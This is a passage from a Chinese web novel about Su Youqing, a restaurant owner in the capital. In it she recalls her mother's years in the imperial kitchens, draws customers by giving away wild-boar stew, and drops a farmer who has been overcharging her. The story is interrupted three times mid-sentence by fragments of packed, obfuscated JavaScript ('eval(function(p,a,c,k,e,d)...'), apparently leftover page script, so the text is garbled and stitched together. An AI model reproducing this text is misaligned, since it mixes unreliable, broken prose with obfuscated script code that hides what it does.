此番过后，苏火阳也算是于公于私都进了一步，可惜还有后话。 尽管她为婚事弃了御前的位置，然而没两年，她还是同新婿和离了。 “和离之后呢？爹又去了哪里？”当时年方五六岁的苏有青就问了。 祖母笑着捏捏她的脸颊，道：“他与你娘性子不和，二人本就过不长久的。不如早日一别两宽，各过各的日子去。至于你爹如今在何处，我便也不知了。” 苏诣从小懂事，闻言便不问了：“总归不是什么好事，我们以后就不在娘面前说了。” “都是旧事，不提也罢。”祖母摸摸小苏诣的脑袋，又当真仔细回忆了一般，“这些年也没听说过什么消息，我都记不起你爹唤何名了。” “祖母记得我与姐姐的名字就好。”苏有青抱住祖母的膝盖，苏诣便也立即跟上，二人一左一右地围着祖母，像两个小护法。 小护法爱听故事，刚好祖母也得空讲。她早就告老在家，平日里没什么事，便常晒着太阳同孩子胡编月亮上的传说。 又过四五年，苏有青将将十岁出头，祖母病逝，便再没人来给她和苏诣讲从前的故事了。 一面是苏诣不愿去问苏火阳，也不让妹妹多嘴；另一面，苏火阳本身也不爱说往事。 她总在说，人都是要往前走的，便也该朝前看，何必一直揪着过去的事不放。 苏火阳不主动讲，苏有青却人小鬼大，是个忍不住瞎盘问的。 便有一次读书，苏有青读到“总角之宴，言笑晏晏。” 苏火阳请到家中的夫子教她们，说人与人间的情爱总是有期限。苏有青没想明白，便忍不住去问苏火阳，问她当年是如何与爹生了情、又是如何分开的。 苏火阳一脸无谓，说她哪来那么多空闲去谈情说爱，有这功夫不如多做两道菜给姐妹俩吃。 话毕，瞧见苏有青一脸不信，苏火阳先是愣怔了片刻，随即又细致地解释道：“当时不过是你祖母眼热邻居抱上了孙子，我便也随眼缘找了个模样不错的男人成亲生子。后来又发现靠皮囊瞧人确实不靠谱，我与那人的性格与习性皆不和，刚好已有了你们姐妹二人，便也不需要有人作夫婿了。” 再想想，苏火阳又补上了句：“不过你可别学我，我也不似你祖母当年那般好说话。” 苏有青听得瞪大双眼，也顾不上臊苏火阳的后一句，只道：“可是祖母从前不是这么说的。” 苏火阳就笑：“要么是你年纪尚小记错了，要么便是你祖母年纪大了老糊涂了。” 言而总之，过往的细节说法不一。然确切一致的是，苏火阳前脚拒了从膳房转去御前，后脚便成亲生下了苏诣与苏火阳。 而后，按祖母所言，陛下就常提拔厨司去殿前侍奉了。 再听胡角的说法，他方开蒙时，平民尚能科考入仕，厨司之途才是少有的。 似是为了确认，苏有青问胡角道：“你今年多大？” 胡角答：“二十有余。” 苏有青吐了口浊气。 年头能对上，胡角所言的大概也是实话了。 又依苏火阳私下的家常话，无人知晓皇帝这般兴庖厨是意欲何为。 - 再后头的事，还是苏诣得了进御膳房的圣旨之后，苏火阳欲敲打她多加小心才说出口的。 苏火阳说，十几年过去，其实谋到官职的厨司也没起初几年里的多了。 不算那些杂使，如今的御膳房要三年才得以进几个新厨。而这些新人里，除了一两个当真走出御膳房的，其余人多是去殿前奉茶时被问几句闲话，便也没旁的了。 实情如此，皇城外却传得风风雨雨，叫人认定了厨司能当成言官。如今再见二皇子出入时，身边都跟着今朝的新厨头魁苏诣，旁人便更确信了。 然而苏诣被赵鸣炫点走，才算是件稀罕事。 赵鸣炫同苏诣道，母皇巴不得她点个厨司带走，自会应得干脆。 赵鸣炫还道，京城当中，能看清事情的人本不多。其中又有一部分需明哲保身，另一部分则能趁机掳走更多的利，如此一牵扯，便没人会出来说话了。 而即便偶尔有人想解释，人云亦云的民众也未必会信。 苏诣当时觉得二皇子话里有话，却也没听明白究竟是指何事。后来苏有青同她说起梅时庄之事，她才后知后觉，便顺势说出了赵鸣炫的这般感慨。 而现下再听胡角所言，苏有青又觉得，二皇子那时或许不只是单说一件事。 苏有青自觉是个置身事外的，本不算在那两类人中。然而她一只能算作道听途说，二来家人也常在皇家行事，便也不好乱说话牵连了人的。 苏有青想得又多又乱，却又不敢妄议，只生得出几句唏嘘。 她便不再往深了想，同胡角道：“我并不会教人，不好狂言收徒。不过往后我再做菜时你可以来后厨看看，虽然......” 虽然苏有青觉得胡角本不该埋没在她的饭馆里。 她也并不认同这般以庖厨曲线入仕的秩序，然城中人言既定，若只是为了过得好些而顺应...... 苏有青继续道：“后厨的野猪肉这会子炖得合适，我已闻到了香气。一起去看看吧，刚好你来试个味。” 胡角本欲谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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锅灶边，苏有青夹出两块烧肉，又自然地将碗筷递与赵往：“快试试味道如何。” 赵往先是夹起肉块凑到鼻子边闻过，才塞进嘴中。 嚼过几口咽下，他道：“挺香的烧肉。不过怎么做了这么多？” 闻言苏有青直乐：“香就好。今日菜农送来了不少肉，这天气怕是搁不住，我便干脆全做了。” 赵往点点头，又吃一口，苏有青继续道：“你方才所说外头那有异味的盆，便是装了生肉所致。这两锅都是野猪肉，生时气味大，做出来却无碍。” “原是，原是你厨艺高超。”赵往夸得犹豫，心中在纠结他是否说错了味道。 好在苏有青也夹了块猪肉尝试，说确实是香，他才放下心来。 再放下筷，赵往不经意地随口提起另件小事：“你何时招的小厮？” “就这几天。”苏有青道。 “你提醒我了。”说起胡角，苏有青记起件事，又喊严巴道，“晚些时候你找个食盒，叫胡角带些野猪肉回庄子。这两锅肉太多，放久了也不如新鲜的好吃，不如每人都分点。” 赵往便又不经意道：“为何是让他带？” 34. 野猪肉（三） 苏有青乍被问住，细想过后道：“那胡角与送肉的菜农是一个庄上的，叫他带回去给庄里人试试味道，再言明这红烧肉便是用那生肉做的，也算是宣传饭馆厨司的手艺了。” 赵往心说你都有理，却又不得不承认道：“手艺确实极佳。” 苏有青轻笑一声，又背身离了锅台，不知是要找什么。 她没再接话，屋里便一时静得只余烧柴火的声响。赵往想找些话说，才记起今日来店中的由头。 刚好严巴听过苏有青的话便去了前屋，现下膳房中已没了人，赵往便故作神秘道：“对了，快刀给我传信了，说一切顺利，择日回京。” 苏有青便问：“没别的了？” 等到个意料之外的反应，赵往干巴巴道：“没了。不过再多的事也不好直接写下，万一被瞧见就不好了。” 苏有青“哦”了一声：“那她也同我说了。” 赵往又被一口气憋住了。 这快刀怎如此行事，拿着他的赏钱，还不知道给他留个说话的机会。 打量了一眼赵往古怪的神情，苏有青贴心道：“无妨，剩余事宜等她回来再报也一样，不急于这一时。我还有事要做，不便同你闲聊，你也别凑在这里沾油烟了吧。” 赵往今日已气结多次，于是眼下偏不走，只后退几步在墙边旁观。 苏有青本也不是要赶出资的二东家走人，只是怕油烟沾上那不菲的衣袍。任他在边上站着，她继续做眼前的事。 赵往便看苏有青翻出口小些的铁锅，洗过后搁在灶台上，随即盛出一锅烧肉又作势端起。 赵往下意识便要伸手，正巧严巴拿着个食盒进了膳房。 严巴就近放下手中物，又麻利接过苏有青举着的那一锅，问：“小姐要放在哪里？” 苏有青道：“送前面去。” 赵往方才微微抬起的手背回了身后，虚握着拳听主仆二人说话。 严巴不解：“可前头没来客，也没人点这菜呀。” 苏有青解释道：“快饭点了，刚好做的也多，便摆去门口请过路人吃。都可能是以后的食客呢。” 严巴应下便去了前屋，苏有青又进后院，喊来杂役道：“去寻个耐烫的旧桌板放到店门口，上头搁个圆锅架。桌子支好了再去寻个铜盘，装些碳放到那锅架下，好能将菜温着。” 杂役照做，苏有青往外走，赵往也亦步亦趋地跟着。 饭馆门口的架势皆已摆起，苏有青却又生了些犹豫，不知该如何吆喝。 好在她方将铁锅里的吃食翻炒两下，隔壁茶铺老板便闻着味儿凑过来了：“苏老板怎的站路边便炒上菜了？” 刚瞌睡就有人来递枕头，苏有青快手快脚地盛起几块肉递与茶铺老板：“准备请过路人吃，老板也尝尝。” 二人当作邻居有些时日了，苏有青已明了茶铺老板是个大大咧咧的直性子。 果然，老板堆起笑脸接过小碗，仔细咀嚼后道：“荤油香气足却不腻，又全是紧实的精肉，好吃好吃。这色泽也是标致的红烧味，只是没尝出是何种肉。” 苏有青又往老板碗中多添了两块，笑眯眯道：“是野猪肉，便是你早些时候闻到的那肉。” “我没闻到什么......”半句话出口，茶铺老板反应了过来，“白日里那怪味的是野猪？你竟还用野猪肉做出了这般口味？” 惊诧之余，老板说话的声响不由得大了些，操着生意人用惯了的夸张腔调，一嗓门吼得周遭路人频频往这般看。 察觉出旁人的视线，茶铺老板噤了声，歉意地朝苏有青笑了笑。 苏有青却正缺这份留意，顺势扯着嗓子回话道：“是呢，这么香的红烧肉，今日便免费请大家吃。” 便有已走远的人听到动静，假意路过地又绕回饭馆前，再从小桌前经过时眼神直瞟，直到被苏有青热情地喊住： “客官尝尝红烧肉吗？不收钱。” 围过来的人渐多，却有人仍然不信还有免费吃这等好事。 毕竟京中虽不乏吃得起肉的人家，但这般大荤到底还是金贵东西。这会子能在街市上溜达的闲散人大多不缺一口吃，只是遇到有老板偏要白送，便也忍不住凑过来看看。 自也有人要质疑，说老板怎会平白无故地好心，怕是有什么幺蛾子。 然凡是接过碗尝过味的，便再说不出这话，只得承认确实美味了。 还有人吃过后仍然怀疑，问茶铺老板是不是饭馆老板请来的托。 “这有何好使诈的，亲自尝过便知味道，还能有假？”茶铺老板很是不服。 来人便道：“别以为我是什么没见过市面的。从前我也猎过野猪，浑身尽是毛茬与骚臭味。这锅肉却只有香味，怕是拿普通农家养的瘦猪顶替的吧。” 不待茶铺老板反驳，便又大胆试过的老饕道：“不不，这肉的口感与我从前尝过的野猪无二。只是那会子我忍着异味强吞下，也不知这间食肆的厨司是如何解决野猪气的难题的。” 赵往立在店中望着苏有青的动作，见她面前已被人团团围住，只余挨着店铺的背后尚留着空位。 再看远些，长街对面还有新来的人正驻足往这边探头，听着动静又欲抬步过来。 而那小桌也不大，只够苏有青与包菜二人站那跟前忙活。 实在是忙，赵往便走到苏有青身后，低声道：“不多打扰，我先行一步了，苏老板。” “诶，好。”苏有青忙里回头看了眼说话人，又继续给伸到面前的手盛肉了。 踏出店门口，赵往这才瞧见胡角也没闲着，正趁机招呼来往路人。 胡角这会子揽客正是趁热打铁的好时候。 渐到了用晚膳的时候，街市上的人本就愈多了些，还有不少人尝过野猪肉后便直接进店点上了菜。 让旁的杂使来顶替了自己的位置，苏有青赶忙去后厨接手晚间的菜色。 再待她终于得闲出了膳房时，店前的大锅肉早已被分完，厨下也只剩苏有青提前留出的分予店中使役的分量。 好在这日虽忙，也没白费功夫。 打烊后，苏有青对着账簿打了通算盘，今日赚到的钱竟比前些时候翻了番。 后几日也与她预料的差不多。此番请客吃肉过后，店中生意日渐向好，饭馆也在京中声名鹊起。 虽起的声名是“有个冤大头老板竟请人白吃肉”，但也有人会多补一句“不过手艺是真不错”。 来饭馆的贵客越来越多，总算如了苏有青的一半心意，她却想不明白另一头。 苏有青至今只在京中碰到过胡角这么一个穷苦人，让他带回庄中分食的烧肉也没能多引来京郊的客。 许是京城边上的人确实不像梅时庄人那般困顿，也是好事。她想。 又一日将算盘珠子拨得直响时，包菜感慨道：“咱们店的生意竟然真的好起来了。如今不是只哪一日的客人多，而是再没见有哪天的生意跌回去呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来人脚步重重地踏进店中，引出一下沉闷的声响，似是往地上放了什么重物。紧接着，一个略显嘶哑的男声同苏有青又是问好又是道歉，过后才报出今日的价格。 再一阵抓银子的叮铃咣啷后，渐远的脚步声便往店外去了。 “那便是每日来送菜的菜农？”赵往这才说了话。 “对。”察觉赵往的语气不似闲聊，苏有青便问，“怎么了吗？” 打量着地上的几种素菜，赵往直言道：“似乎比旁的菜农报的价要贵些。” 苏有青了然道：“是，我知晓的。他是京郊人，之前说自家日子不好过，我便答应多给他算一成价。” “那也不对。”赵往沉吟道。 他昨日才看过食味酒楼的账簿，那这差价便也不是时令的缘故。 空想不出个答案，赵往便使唤石头道：“跟去看看他还送了谁家，机灵点。” “是。”怕那人已走远，石头不多耽搁，马上跟出了店。 苏有青听得半信半疑，却也知赵往不会凭空找事，便由石头去了。 - 石头自小跟着赵往，做这些事是得心应手。不多久，他便连店铺带菜价地列出张条子，回到饭馆交予了赵往。 “你说你给那菜农多算一成？” 眼前的价额与晨间听闻的数字一比照，差价根本无需细算。赵往看得不由笑出声，又将条子递与苏有青。 苏有青这么多年都是没缺过钱的主儿，对姬朝的菜价也没多少底。 如今打眼一看旁人付的数目，少说比她给出的钱要便宜三成，苏有青这才反应过来怕是有人将她当作了冤大头。 苏有青对着那条子不解又不爽：“我愿意善待他，反倒叫他只逮着我坑？” 她忍不得一点气，即刻便想去找老张算账。 赵往却要拦她：“别急，明早再说。他平日都是几时来饭馆？” 35. 野猪肉（四） 于是次日，赵往便踩着苏有青报的钟点，早早来了饭馆中候着。 没再同昨日那般躲在柜台后旁听，赵往刚瞧见有人挑着菜篓往这边来，便起身站至堂中一侧，一脸候着的模样。 而那老张也是个精明的。 今日一进店，他便察觉出边上那生人不普通，连眼神都似是平日里习惯朝下瞥人的。 老张照例摆出几样菜，纠结过后报出了价格。 苏有青闻言却是愣了。她本已打好发难的腹稿，老张却没再抬价，直接给出昨日在条子上见过的、旁的店收菜的价。 苏有青犹豫着是否要点破前几日的账，便只道：“怎的突然跌了价？” 老张吞吞吐吐道：“见天收的买卖，涨与跌都是家常便饭。” 赵往不爱听虚话，索性道：“怎么，今日不坑老板了？” 许是见了人被唬住，苏有青立马跟上：“怎么，怕这贵公子是司市的人，便老实了？” 二人一唱一和得很是默契，老张却听得咯噔了一下。 他本只是对那人的衣着打扮有所推测，现下按老板的语气，再听那人的谈吐气质，恐怕真是市司的人。 不知这番抬价会不会有麻烦，老张佯装沉静地打起了太极：“我不过是做些小本生意，怎会坑蒙老板？” 苏有青笑了一声：“怎么个‘小本’法？” 老张说得头头是道：“自家种的瓜果蔬菜，价格本就跟着季节天气走。老板又主动说要多给一成钱，于是我报出的便比旁的店中稍贵些。” “是，我是说过多给你一成。”既然菜农意欲说些好听话糊弄，苏有青便也一脸淡然，“只是我不知，我按一把一文五买来的葵菜，旁的店却只按一文钱来算，这叫多出一成？” 老张想伸手擦擦额头上的虚汗，却也不敢多动，只低头俯身道：“我没念过书，算数不好，弄错价钱实属是粗心。我这便给老板退钱。” 话说出口，他当真掰着指头念念有词上了，依稀能听着诸如“文”“两”的字眼。 苏有青心念这人这可不像是算数不好，不仅会算，对这几日来的账也是记得门清。 几下念叨过后，老张大手一挥慷慨道：“不算了，便将今日的菜抵给老板吧，多出的量便算是我赔与老板的。” 苏有青面上不显，只点了点头，不想废心力多辩。 她本只想着能叫这菜农从此收敛些便好，一时倒也无需另寻新人，只是不料老张眼下还在同她耍心眼。 苏有青昨日便细算过，即便按多一成的价来算，这几日里他吞下的数也足够抵了今日的菜钱，只多不少。 然而见苏有青似是个好说话的，老张便又开了口：“不知是哪家酒楼同老板报的菜价？还是有哪个想离间咱们的菜贩在其中放冷箭？老板你是做食肆生意的，心中当明白得很，咱家种出的菜可比那些小摊小贩卖的要水灵多了。” 苏有青自不会牵扯出无关的老板，便顾左右而言道：“我瞧不像是有人使坏，倒似是想宣传你家的菜物美价廉，好心帮你揽生意呢。” 老张品出几分阴阳，又知确实是他理亏，只好哂笑了两声：“那今日便聊到这儿，老板你忙，我先去旁的店里送菜了。” “行，你去吧。”苏有青轻飘飘道，“往后也不用来我们店里卖菜了。” 老张刚要挑起菜篓，闻言又扔下扁担，急匆匆地站直了身：“这怎么成？老板可千万别信了哪个小人的蒙骗，我真只是不小心算错帐了而已。” 他将话说得理直气壮，即便露了马脚也显不出几丝心虚：“且真只有后来这几次有差错呢！是后来老板将生意做起来，所需的菜量涨了，又需单定一成的价，我才粗心算错的。从前真的没有啊！” 赵往不理会老张，同苏有青道：“他是说，他见你生意好起来了，便来坑你了。” 老张不知那生人何方高就，不敢轻易反驳，只好继续同苏有青强辩道：“那，那老板的生意越做越大，我供的新鲜菜也有助力，是不是？” 苏有青自知赵往所说才是真相。昨日她比对过一段日子以来的账目，在老张卖她野猪肉、而她反用野猪打出饭馆名号的第三日，菜价才头一次见涨。 且他也算个机灵的，逐日往上抬个一文半文的，这才叫苏有青误以为是时令与收成的缘故，没能及时察觉。 既心中有数，苏有青便懒得再点破，省得又要费劲听老张编出的新幌子。 她还是道：“好了，究竟怎么一回事你我都清楚。总之你不必再来卖菜了。” 老张却是个听不懂话的，急得满屋子打量，想寻根稻草出来。方才想夹着尾巴走人的是他，如今不愿离开饭馆的还是他。 突然见了角落里的人，老张喊道：“你愣在那里做什么，快帮我说说情啊！我们可是同乡！” 缩在墙边的胡角没说话，眼神也在躲闪。 老张又急了：“怎的不说话，还是你已得老板的青眼便不顾我了？咱两家连祖宅都是挨着的，还能比不上你和这京中老板几日的交情？” “打住。”赵往听不得这话，抬手插嘴道，“这本无关胡角的事，你扯他也没用。” 赵往心说二人有个鸡毛交情，胡角却会错了意，朝赵往投去感激的眼神。 胡角不擅辩解，向来都是他闷声吃亏的多。 然二东家如此解围，他便也得了鼓励，一面为在庄中多年的忍气吞声，一面为二位东家都怀有善心，含住一口气就冲老张道：“本就是你暗里抬价不厚道，有什么可说情的！” 到底是读书人，即便声音大些也尽是文雅词。却不知老张从中听出了什么旁白，又攀咬道：“你倒突然来了劲，莫不是你同老板告的密？否则老板怎会晓得旁的店的价！” 老张一向同苏有青与赵往低眉顺眼，对着胡角却展出了另一份气焰：“我昨日帮你父亲抢收，才会送菜送晚一步；今日便被老板发现错了账，不是你说的还能是谁！” 胡角闻言哽住，又不说话了。 苏有青倒没听明白老张为何生了这般想法。他好意帮胡角家的忙，会让胡角反告他的状？ 怕又要说来话长，苏有青便也不问。到底她发现得也算及时，再加上今日的瓜果蔬菜一抵，实也差不出几个钱。 苏有青心下明了，即便偏要争个理、寻商会来听这场小纠纷，顶了天也就是赔她半贯钱。相比多费口舌之力，苏有青更想及时止损，从此不用老张便是。 且真若说起来，多给一成钱也确是她亲口说出的。老张是不厚道，却也算不上犯法；再者说，她未仔细盯着价格，或也需担些责...... “且我说句良心话，若老板你早些注意到这笔帐，我断然不会扯谎，也不会推诿，便也没这档子事了。” 她担个屁。 苏有青也算是开了眼，那老张竟真敢将这笔帐推到她头上。她本是宽慰自己，没想到老张那头竟跟她想到了一处，还装模作样地说出了口。 苏有青一时被这般不要脸的话镇住，不料这人还不甘休：“既你隔了好些日子才发现，说明你本不缺那几文钱，便给我了又如何？” 到底是苏府里长大的小姐，苏有青遇到的素来是体面人；赵往虽也见过强词夺理之人，却少见这般不带脑子出门的。陡遭这番强盗话，二人一时目瞪口呆得没了动作。 老张说头一句话时，苏有青还在愤懑不平，恨不得踹他两脚。然而后一句又太过荒谬，听得她不仅消了气，甚至还觉出好笑。 苏有青与赵往对视一眼，都没说话。 老张却以为是他气势够足，眼前的老板意识到错处后便怂了，还继续道：“你如今能赚那么多钱，还不是我送来的菜好！休想蒙过我，我已听旁的酒楼说过，你是靠那锅野猪肉才将店面做起来的。那野猪肉不也多亏了我？我尽心尽力地帮老板，老板却只送些烧肉来敷衍，现下更是不愿再做我的生意，莫不是要卸磨杀驴？” 老张越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他也不愿在外头扯自家的事，便又将话说了回来：“你既敢说，怎还怕人听了去？‘京中新老板是个蠢笨的，什么腌臜肉都照单全收’，难道不是你在庄里说的？” 俩人你来我往地扯起了皮，落到苏有青耳中尽是些不痛不痒的话。 她望这时候也该去备菜了，便打断拍板道：“我本念你老张说日子不好过，才找你买的菜。京城内外的菜农多了去了......” “等等。”胡角难得冲人嚷嚷一次便停不下来，又继续倒豆子，“他本是我们庄上最有钱的人家，往城中卖菜赚了不老少。他还挑了邻里的菜说是顺手一起卖到京中，回头再分成。然同我家缺斤少两不说，我进了京来才知道，他卖出的钱可比报给乡邻们的要多多了。” “放的什么狗屁，你这是......”老张还要辩。 “你给我闭嘴。”苏有青冷言道。 苏有青是真受够了，原来打一开始便是骗局。 她自会从中吸取教训，但不是眼下的时候：“你们俩若还有话要说，便留着回庄聊去，我这里还需开门做生意。” 老张垂了头，只能瞧见耳朵动了动。胡角也总算偃旗息鼓。 苏有青继续道：“这些倒灶事是真是假我无所谓。反正我们是一日一日的买卖，往后不做了也容易。你本也不差我这几贯钱过日子，否则也不至这般拿我当个蠢猴糊弄。” 见老张似又起了什么势，苏有青补充道：“我这是食肆，不与你多纠缠。若你仍觉我亏了你，我们大可以去找行会聊。” 这算是句空话，她倒不信老张真认了他的那套“道理”。 至于苏有青吃的憋，她念作破财消灾便也罢了。那些小钱本也翻不出大的名堂，原是膈应人居多。之后不必再搭理老张，她也算是先一步绝了后患。 赵往也睨了眼老张，好叫他往后也不敢来饭馆找事：“不过你要是想再也做不成一笔买卖，你大可以继续打扰老板。”